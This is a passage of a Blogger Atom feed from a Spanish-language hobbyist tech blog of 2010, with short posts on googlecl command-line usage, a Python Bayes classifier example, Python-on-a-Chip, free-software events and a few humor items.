href='http://www.blogger.com/feeds/8269681088643654503/posts/default/1362015427578520297'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/1362015427578520297'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/06/se-acuerdan-del-sim-city.html' title='Se acuerdan del Sim City???'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/__2CpOkNZ4-k/TCglBhldNWI/AAAAAAAAATE/dYUSC-nlUhk/s72-c/lincity-ng.preview.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-8535191043659998065</id><published>2010-06-25T17:52:00.000-07:00</published><updated>2010-06-25T17:52:31.570-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='misc'/><category scheme='http://www.blogger.com/atom/ns#' term='humor'/><title type='text'>Java 4-ever</title><content type='html'>&lt;a href="http://jz10.java.no/java-4-ever-trailer.html"&gt;Aquí&lt;/a&gt; encontré este vídeo parodico muy gracioso, licenciado &lt;a href="http://www.google.com/url?sa=t&amp;amp;source=web&amp;amp;cd=1&amp;amp;ved=0CBIQFjAA&amp;amp;url=http%3A%2F%2Fcreativecommons.org%2Flicenses%2Fby-sa%2F2.0%2F&amp;amp;ei=1E4lTM_xEoGClAe_p_w-&amp;amp;usg=AFQjCNENfk9mwc-sRY0UmygfXijvTvUsEw"&gt;Creative Commons BY-SA 2.0&lt;/a&gt;&lt;br /&gt;Mírenlo porque esta bueno.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;object height="385" width="640"&gt;&lt;param name="movie" value="http://www.youtube.com/v/KrfpnbGXL70&amp;amp;hl=en_US&amp;amp;fs=1&amp;amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/KrfpnbGXL70&amp;amp;hl=en_US&amp;amp;fs=1&amp;amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-8535191043659998065?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/8535191043659998065/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/06/java-4-ever.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/8535191043659998065'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/8535191043659998065'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/06/java-4-ever.html' title='Java 4-ever'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-3371016720075992530</id><published>2010-06-20T19:09:00.000-07:00</published><updated>2010-06-20T19:09:05.419-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>Google Command Line</title><content type='html'>&lt;a href="http://code.google.com/p/googlecl"&gt;googlecl&lt;/a&gt; es una aplicacion hecha en torno al la biblioteca &lt;a href="http://code.google.com/p/gdata-python-client/"&gt;python-gdata&lt;/a&gt; que interactúa con las APIs de google.&lt;br /&gt;Nos permite majenar los servicios de google de forma trivial desde la linea de comandos.&lt;br /&gt;&lt;br /&gt;Para instalarlo tenemos que tener la dependencia python-gdata y luego proceder a descargar el archivo .deb de &lt;a href="http://code.google.com/p/googlecl/downloads/list"&gt;downloads&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Lo instalamos (como root) con :&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#dpkg -i googlecl*.deb&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Les dejo un par de ejemplos:&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: arial, sans-serif; font-size: 13px;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul style="max-width: 65em; padding-left: 40px;"&gt;&lt;li&gt;&lt;strong&gt;Blogger&lt;/strong&gt;&lt;/li&gt;&lt;blockquote style="max-width: 65em;"&gt;&lt;tt style="font-size: 13px;"&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$ google blogger post --title "foo" "command line posting"&lt;/span&gt;&lt;/tt&gt;&lt;/blockquote&gt;&lt;/ul&gt;&lt;div style="max-width: 65em;"&gt;&lt;/div&gt;&lt;ul style="max-width: 65em; padding-left: 40px;"&gt;&lt;li&gt;&lt;strong&gt;Calendar&lt;/strong&gt;&lt;/li&gt;&lt;blockquote style="max-width: 65em;"&gt;&lt;tt style="font-size: 13px;"&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$ google calendar add "Ir a trabajar..."&lt;/span&gt;&lt;/tt&gt;&lt;/blockquote&gt;&lt;/ul&gt;&lt;ul style="max-width: 65em; padding-left: 40px;"&gt;&lt;li&gt;&lt;strong&gt;Contacts&lt;/strong&gt;&lt;/li&gt;&lt;blockquote style="max-width: 65em;"&gt;&lt;tt style="font-size: 13px;"&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$ google contacts list name,email &amp;gt; contactos.csv&lt;/span&gt;&lt;/tt&gt;&lt;/blockquote&gt;&lt;/ul&gt;&lt;ul style="max-width: 65em; padding-left: 40px;"&gt;&lt;li&gt;&lt;strong&gt;Docs&lt;/strong&gt;&lt;/li&gt;&lt;blockquote style="max-width: 65em;"&gt;&lt;tt style="font-size: 13px;"&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$ google docs edit --title "Algo"&lt;/span&gt;&lt;/tt&gt;&lt;/blockquote&gt;&lt;/ul&gt;&lt;ul style="max-width: 65em; padding-left: 40px;"&gt;&lt;li&gt;&lt;strong&gt;Picasa&lt;/strong&gt;&lt;/li&gt;&lt;blockquote style="max-width: 65em;"&gt;&lt;tt style="font-size: 13px;"&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$ google picasa create --title "fotos" ~/foo/bar/*.jpg&lt;/span&gt;&lt;/tt&gt;&lt;/blockquote&gt;&lt;/ul&gt;&lt;ul style="max-width: 65em; padding-left: 40px;"&gt;&lt;li&gt;&lt;strong&gt;Youtube&lt;/strong&gt;&lt;/li&gt;&lt;blockquote style="max-width: 65em;"&gt;&lt;tt style="font-size: 13px;"&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$ google youtube post --category Education un_video.avi&lt;/span&gt;&lt;/tt&gt;&lt;/blockquote&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Luego en la pagina del proyecto podemos encontrar mas  &lt;a href="http://code.google.com/p/googlecl/wiki/ExampleScripts"&gt;ejemplos&lt;/a&gt; y el &lt;a href="http://code.google.com/p/googlecl/wiki/Manual"&gt;manual&lt;/a&gt; correspondiente.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-3371016720075992530?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/3371016720075992530/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/06/google-command-line.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/3371016720075992530'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/3371016720075992530'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/06/google-command-line.html' title='Google Command Line'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-6797908517654459533</id><published>2010-06-11T20:11:00.000-07:00</published><updated>2010-06-11T20:11:22.566-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='flisol'/><title type='text'>Softwalibre != Gratis</title><content type='html'>El pasado 24 de abril tuve la suerte de poder participar junto con &lt;a href="http://www.elgallego.info/?p=268"&gt;Enrique Verdes&lt;/a&gt; en el Flisol en la ciudad de&amp;nbsp;&lt;a href="http://es.wikipedia.org/wiki/Florida_(Uruguay)"&gt;Florida&lt;/a&gt;&amp;nbsp;y de poder dar una charla.&lt;br /&gt;Esta consistió en una breve introducción al concepto del software libre y sobre desmitificar lo que muchos piensan, que el software libre es gratis.&lt;br /&gt;&lt;br /&gt;El evento se realizo en el &lt;a href="http://www.cerpcentro.org/"&gt;CERP&lt;/a&gt;, hace unos días me entere de que la charla había sido colgada en el sitio del CERP pero en formato pdf, pueden descargarla &lt;a href="http://www.cerpcentro.org/IMG/pdf/SoftwareLibre_distinto_de_gratis.pdf"&gt;aquí&lt;/a&gt;.&lt;br /&gt;Si a alguien le interesa en su formato original puede contactarme&lt;br /&gt;&lt;br /&gt;Se aceptan criticas y sugerencias&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-6797908517654459533?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/6797908517654459533/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/06/softwalibre-gratis.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/6797908517654459533'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/6797908517654459533'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/06/softwalibre-gratis.html' title='Softwalibre != Gratis'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-4552192187416509969</id><published>2010-05-24T19:50:00.000-07:00</published><updated>2010-05-24T19:51:49.671-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ssl'/><category scheme='http://www.blogger.com/atom/ns#' term='seguridad'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>Buscador de Google soporta SSL</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;a href="http://4.bp.blogspot.com/__2CpOkNZ4-k/S_s6zOz-8EI/AAAAAAAAAS0/Hzt7nXQG4dM/s1600/Sin+nombre.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/__2CpOkNZ4-k/S_s6zOz-8EI/AAAAAAAAAS0/Hzt7nXQG4dM/s320/Sin+nombre.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Ahora podemos hacer nuestras&amp;nbsp;búsquedas&amp;nbsp;de forma segura con &lt;a href="http://es.wikipedia.org/wiki/Transport_Layer_Security"&gt;ssl&lt;/a&gt;, accediendo al siguiente url &lt;a href="https://www.google.com/"&gt;https://www.google.com&lt;/a&gt;&lt;br /&gt;Una buena por google...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-4552192187416509969?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/4552192187416509969/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/05/buscador-de-google-soporta-ssl.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/4552192187416509969'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/4552192187416509969'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/05/buscador-de-google-soporta-ssl.html' title='Buscador de Google soporta SSL'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/__2CpOkNZ4-k/S_s6zOz-8EI/AAAAAAAAAS0/Hzt7nXQG4dM/s72-c/Sin+nombre.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-2407574301284185620</id><published>2010-05-24T18:03:00.000-07:00</published><updated>2010-05-24T18:03:57.297-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='bayes'/><category scheme='http://www.blogger.com/atom/ns#' term='redes neurales'/><category scheme='http://www.blogger.com/atom/ns#' term='matematicas'/><title type='text'>Redes neurales en python</title><content type='html'>&lt;a href="http://divmod.org/trac/wiki/DivmodReverend"&gt;reverend&lt;/a&gt; es un paquete disponible tanto en debian como el ubuntu que nos provee de la funcion del &lt;a href="http://es.wikipedia.org/wiki/Teorema_de_Bayes"&gt;Teorema de Bayes&lt;/a&gt; en el cual se le asigna probabiliad a eventos aleatorios. Este es uno de los tantos teoremas que se aplican en &lt;a href="http://es.wikipedia.org/wiki/Redes_neuronales"&gt;redes neuronales&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Para instalarlo, como root hacemos:&lt;br /&gt;&lt;br /&gt;#apt-get install python-reverend&lt;br /&gt;&lt;br /&gt;Tambien podemos clonar el repo:&lt;br /&gt;&lt;br /&gt;$git svn clone http://divmod.org/svn/Divmod/trunk/Reverend&lt;br /&gt;&lt;br /&gt;Luego un ejemplo :&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;from reverend.thomas import Bayes&lt;br /&gt;guesser = Bayes()&lt;br /&gt;guesser.train('mujeres', 'luisa carla maria sofia')&lt;br /&gt;guesser.train('hombres', 'luis mario carlos gabriel')&lt;br /&gt;&lt;br /&gt;def guess(what):&lt;br /&gt;print "guess:" +  what + " --&amp;gt; " + str(guesser.guess(what))&lt;br /&gt;&lt;br /&gt;guesser.save('my_guesser.bay')&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Esto si lo ejecutamos nos devolvera:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$ python bayestest.py&lt;br /&gt;&lt;br /&gt;guess:luis --&amp;gt; [('hombres', 0.99990000000000001)]&lt;br /&gt;guess:luisa --&amp;gt; [('mujeres', 0.99990000000000001)]&lt;br /&gt;guess:maria jose --&amp;gt; [('mujeres', 0.99990000000000001), ('hombres', 0.99990000000000001)]&lt;br /&gt;&lt;br /&gt;En la salida del script podemos ver claramente la probabilidad que el algoritmo de bayes le asigno a cada token representado por un numero.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-2407574301284185620?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/2407574301284185620/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/05/redes-neurales-en-python.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/2407574301284185620'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/2407574301284185620'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/05/redes-neurales-en-python.html' title='Redes neurales en python'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-5162876779173875967</id><published>2010-05-17T20:51:00.000-07:00</published><updated>2010-05-17T20:51:27.431-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='avr'/><category scheme='http://www.blogger.com/atom/ns#' term='electronica'/><title type='text'>PythonOnaChip</title><content type='html'>&lt;a href="http://code.google.com/p/python-on-a-chip/logo?logo_id=1245101924" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://code.google.com/p/python-on-a-chip/logo?logo_id=1245101924" /&gt;&lt;/a&gt;&lt;a href="http://code.google.com/p/python-on-a-chip/"&gt;Python On a Chip&lt;/a&gt; tiene como principal objetivo brindar una virtual machine de &lt;a href="http://python.org/"&gt;python&lt;/a&gt; con los respectivos drivers del hardware específicos de los microcontroladores donde la memoria RAM y ROM es escasa y donde no es necesario un sistema operativo de intermediario.&lt;br /&gt;&lt;br /&gt;Actualmente este virtualmachine ocupa solo 40 kyte de ROM y unos 3 kbyte de RAM y soporta las arquitecturas &lt;a href="http://www.arm-development.com/at91sam7"&gt;at91sam7&lt;/a&gt;,&lt;a href="http://es.wikipedia.org/wiki/AVR"&gt;avr&lt;/a&gt;,&lt;a href="http://mbed.org/"&gt;mbed&lt;/a&gt;,&lt;a href="http://www.deanandara.com/Mmb103/"&gt;mmb103&lt;/a&gt;,&lt;a href="http://www.st.com/mcu/inchtml-pages-stm32.html"&gt;stm32&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Soporta tipos de datos: integer, float, tuplas listas, funciones, clases, decoradores, y generadores.&lt;br /&gt;Soporta: 25 de los 29 keywords del lenguaje y 89 de los 112 bytecodes del python2.5&lt;br /&gt;Tiene un colector de basura basado en marcas.&lt;br /&gt;&lt;br /&gt;Lo que no tiene:&lt;br /&gt;Un compilador embebido, como el python original, por lo cual hay que compilar la aplicacion primero y luego subirla al chip.&lt;br /&gt;Ninguna de las bibliotecas de python por cuestión de tamaño.&lt;br /&gt;&lt;br /&gt;Todo el proyecto esta licenciado bajo GPLv2.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-5162876779173875967?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/5162876779173875967/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/05/pythononachip.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/5162876779173875967'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/5162876779173875967'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/05/pythononachip.html' title='PythonOnaChip'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-7644653871940244398</id><published>2010-05-15T22:23:00.000-07:00</published><updated>2010-05-15T22:23:12.429-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='humor'/><title type='text'>Window$ vs Gnu/Linux</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/__2CpOkNZ4-k/S--BFhgAevI/AAAAAAAAASs/RQwFlXbvwJA/s1600/windows-linux.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="640" src="http://4.bp.blogspot.com/__2CpOkNZ4-k/S--BFhgAevI/AAAAAAAAASs/RQwFlXbvwJA/s640/windows-linux.jpg" width="188" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-7644653871940244398?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/7644653871940244398/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/05/window-vs-gnulinux.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/7644653871940244398'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/7644653871940244398'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/05/window-vs-gnulinux.html' title='Window$ vs Gnu/Linux'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/__2CpOkNZ4-k/S--BFhgAevI/AAAAAAAAASs/RQwFlXbvwJA/s72-c/windows-linux.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-4372099042570280010</id><published>2010-05-12T09:32:00.000-07:00</published><updated>2010-05-12T09:36:34.275-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='plan ceibal'/><category scheme='http://www.blogger.com/atom/ns#' term='ceibaljam'/><title type='text'>CeibalJam 7</title><content type='html'>Se organizo el nuevo &lt;a href="http://drupal.ceibaljam.org/"&gt;ceibaljam&lt;/a&gt; para este sabado 15 de mayo en la Universidad Catolica.&lt;br /&gt;A continuacion dejo el afiche.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://drupal.ceibaljam.org/sites/default/files/ceibalJAM7%21-email.jpg" imageanchor="1" style="clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="315" src="http://drupal.ceibaljam.org/sites/default/files/ceibalJAM7%21-email.jpg" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;El encuentro transcurrirá en 5 ejes temáticos:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Conozco.&lt;/b&gt; Basándonos en el juego "Conozco Uruguay", elaboraremos aplicaciones educativas que impliquen el estudio de una lámina. Cada propuesta docente se trabajará junto a un diseñador y la supervisión de un programador. Más información.&lt;br /&gt;&lt;b&gt;Scratch.&lt;/b&gt; Un excelente entorno para aprender a programar y elaborar aplicaciones atractivas para el aula.&lt;br /&gt;&lt;b&gt;PippyJAM.&lt;/b&gt; Python es el lenguaje de programación natural de las ceibalitas. Pippy es una buena herramienta para aprender a programar y desarrollar el pensamiento lógico. Realizaremos un taller de programación y una propuesta de desarrollo de ejemplos que ayuden a aprender y aprovechar este entorno.&lt;br /&gt;&lt;b&gt;Accesibilidad.&lt;/b&gt; Ayuda a generar aplicaciones para todos. La mayoría de las aplicaciones necesitan ser adaptadas para que todos nuestros niños especiales puedan utilizarlas y ceibalJAM ya inició ese camino. En este JAM 7, te invitamos a terminar algunas aplicaciones iniciadas en el 2do MiniJam.&lt;br /&gt;Algunas de las cuales como "préstame tu voz" aspiran a ser el mejor mecanismo de comunicación de cientos de niños en Uruguay y en el  Mundo.&lt;br /&gt;&lt;b&gt;Juegos.&lt;/b&gt; Realizaremos un taller sobre las posibilidades técnicas de las XO y la programación de juegos usando pygame.&lt;br /&gt;&lt;br /&gt;&lt;a href="mailto:http://drupal.ceibaljam.org/?q=node/add/inscrjam7"&gt;Aquí&lt;/a&gt;&amp;nbsp;pueden ir al formulario de&amp;nbsp;inscripción.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-4372099042570280010?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/4372099042570280010/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/05/ceibaljam-7.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/4372099042570280010'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/4372099042570280010'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/05/ceibaljam-7.html' title='CeibalJam 7'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-785452968822411017</id><published>2010-05-08T15:29:00.000-07:00</published><updated>2010-05-08T15:29:19.843-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='nanotecnologia'/><category scheme='http://www.blogger.com/atom/ns#' term='floss'/><category scheme='http://www.blogger.com/atom/ns#' term='ciencia'/><title type='text'>Open Source Nanotech</title><content type='html'>La nanotecnología es la tecnología de vanguardia de nuestros días. Empleada en el armamento y en la medicina.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://opensourcenano.net/"&gt;opensourcenano.net&lt;/a&gt; es un sitio en el cual su propósito es poner al alcance de la comunidad la nanotecnología, aprovechando el modelo exitoso y eficiente del &lt;a href="http://es.wikipedia.org/wiki/FLOSS"&gt;FLOSS&lt;/a&gt;, todo el contenido de este se encuentra licenciado bajo &lt;a href="http://creativecommons.org/licenses/by/3.0/us/"&gt;Creative Commons Attribution 3.0 United States&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;En la &lt;a href="http://opensourcenano.net/projects/project1/"&gt;primer&lt;/a&gt; entrega nos proveen de un manual de como generar nanocritales de &lt;a href="http://es.wikipedia.org/wiki/Magnetita"&gt;magnetita&lt;/a&gt; de entre 20 y 100 nanómetros.Estos son útiles para remover el arsénico del agua en ciertos países, el &lt;a href="http://es.wikipedia.org/wiki/Ars%C3%A9nico"&gt;arsénico&lt;/a&gt; es un toxico muy potente que puede causar falla de los órganos vitales,&amp;nbsp;cáncer&amp;nbsp;e incluso la muerte.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://opensourcenano.net/images/mag.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="123" src="http://opensourcenano.net/images/mag.jpg" width="320" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;La idea de este sitio es difundir la tecnología y promover no solo su consumo si no la creación de esta en el patio trasero de nuestras casas!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-785452968822411017?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/785452968822411017/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/05/open-source-nanotech.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/785452968822411017'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/785452968822411017'/><link rel='alternate' type='text/html' 